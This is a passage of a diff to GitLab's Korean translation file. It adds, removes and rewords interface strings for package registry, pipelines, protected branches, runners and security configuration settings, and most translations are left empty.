msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22000,7 +21685,7 @@ msgstr ""
msgid "New password"
msgstr "새 비밀번호"
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22309,9 +21994,6 @@ msgstr ""
msgid "No repository"
msgstr "저장소 ì—†ìŒ"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22498,9 +22180,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "알림 ì´ë²¤íŠ¸"
@@ -22631,9 +22310,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23268,10 +22944,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23349,6 +23025,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23379,6 +23058,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23403,9 +23088,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23457,6 +23139,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23466,15 +23151,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23520,6 +23205,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23550,6 +23241,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23742,9 +23439,6 @@ msgstr "중지"
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -23949,10 +23643,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "합계 :"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -23964,9 +23658,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -23976,16 +23667,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24105,10 +23802,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24126,12 +23823,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24243,9 +23946,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24396,13 +24096,13 @@ msgstr "스테ì´ì§•"
msgid "Pipeline|with stages"
msgstr "스테ì´ì§•"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24447,10 +24147,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24462,6 +24162,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25074,6 +24780,9 @@ msgstr "프로필 편집"
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr "ì‚¬ëžŒë“¤ì´ ë‚˜ë¥¼ 알아볼 수 있ë„ë¡ ë‚´ ì´ë¦„ì„ ìž…ë ¥í•˜ì„¸ìš”."
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25359,9 +25068,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr "프로ì íŠ¸ 배지"
@@ -25389,6 +25095,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr "프로ì íŠ¸ 아바타"
@@ -25401,9 +25110,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr "프로ì íŠ¸ ìƒì„¸"
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25452,15 +25158,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr "프로ì íŠ¸ 개요"
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25509,9 +25209,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Never"
-msgid "ProjectLifecycle|Stage"
-msgstr "스테ì´ì§•"
-
msgid "ProjectOverview|Fork"
msgstr "í¬í¬"
@@ -26127,9 +25824,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26145,9 +25839,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26232,21 +25923,18 @@ msgstr "%{metrics} ì¸ %{exporters} 를 찾았습니다."
msgid "PrometheusService|Active"
msgstr "활성"
-msgid "PrometheusService|Auto configuration"
-msgstr "ìžë™ 설정"
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr "공통 메트릭스"
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26262,18 +25950,9 @@ msgstr "메트릭스 항목 찾기 ë° ì„¤ì •..."
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr "í´ëŸ¬ìŠ¤í„°ì— Prometheus 설치"
-
msgid "PrometheusService|Manage clusters"
msgstr "í´ëŸ¬ìŠ¤í„° 관리"
@@ -26289,9 +25968,6 @@ msgstr "누ë½ëœ 환경 변수"
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr "추가 정보"
@@ -26304,6 +25980,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26319,7 +25998,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26328,6 +26007,9 @@ msgstr "공통 매트릭스를 찾기 위하여 첫 환경 ë°°í¬ë¥¼ 기다리ëŠ
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26337,9 +26019,6 @@ msgstr ""
msgid "Promote"
msgstr "승격"
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26358,9 +26037,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26484,13 +26160,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26511,12 +26190,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26526,6 +26214,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26535,12 +26226,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26586,18 +26280,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
+msgstr ""
+
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Protected tags"
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr "공급ìž"
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27001,6 +26707,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27028,6 +26737,9 @@ msgstr ""
msgid "Related Issues"
msgstr "관련 ì´ìŠˆ"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27206,6 +26918,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27221,15 +26936,9 @@ msgstr ""
msgid "Remove milestone"
msgstr "마ì¼ìŠ¤í†¤ 제거"
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr "우선 순위 삭제"
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27395,31 +27101,25 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
-msgstr "ì¸ì¦ 복구"
-
msgid "Replace"
msgstr ""
-msgid "Replace all label(s)"
-msgstr ""
-
-msgid "Replaced all labels with %{label_references} %{label_text}."
+msgid "Replace %{name}"
msgstr ""
-msgid "Replaces the clone URL root."
+msgid "Replace all label(s)"
msgstr ""
-msgid "Replication"
+msgid "Replace file"
msgstr ""
-msgid "Replication details"
+msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
-msgid "Replication enabled"
+msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication paused"
+msgid "Replication"
msgstr ""
msgid "Reply by email"
@@ -27815,6 +27515,9 @@ msgstr[0] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr "재개"
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr "재시ë„"
@@ -27986,9 +27683,6 @@ msgstr "ì´ ìž‘ì—… 재시ë„"
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr "ê²€ì¦ ìž¬ì‹œë„"
@@ -28081,6 +27775,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr "로드맵"
@@ -28090,9 +27787,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28159,12 +27853,21 @@ msgstr "Runners 페ì´ì§€."
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr "SSH 공개키"
@@ -28408,10 +28147,7 @@ msgstr "비밀번호 저장"
msgid "Save pipeline schedule"
msgstr "파ì´í”„ë¼ì¸ 스케줄 저장"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr "위로 스í¬ë¡¤"
msgid "Search"
msgstr "검색"
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr "검색 ë˜ëŠ” ê²°ê³¼ í•„í„°..."
msgid "Search or filter results…"
msgstr "검색 ë˜ëŠ” ê²°ê³¼ í•„í„°..."
-msgid "Search or jump to…"
-msgstr "검색 ë˜ëŠ” ì´ë™.."
-
msgid "Search project"
msgstr "프로ì íŠ¸ 검색"
@@ -28701,12 +28440,6 @@ msgstr[0] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28827,9 +28572,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28890,7 +28683,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
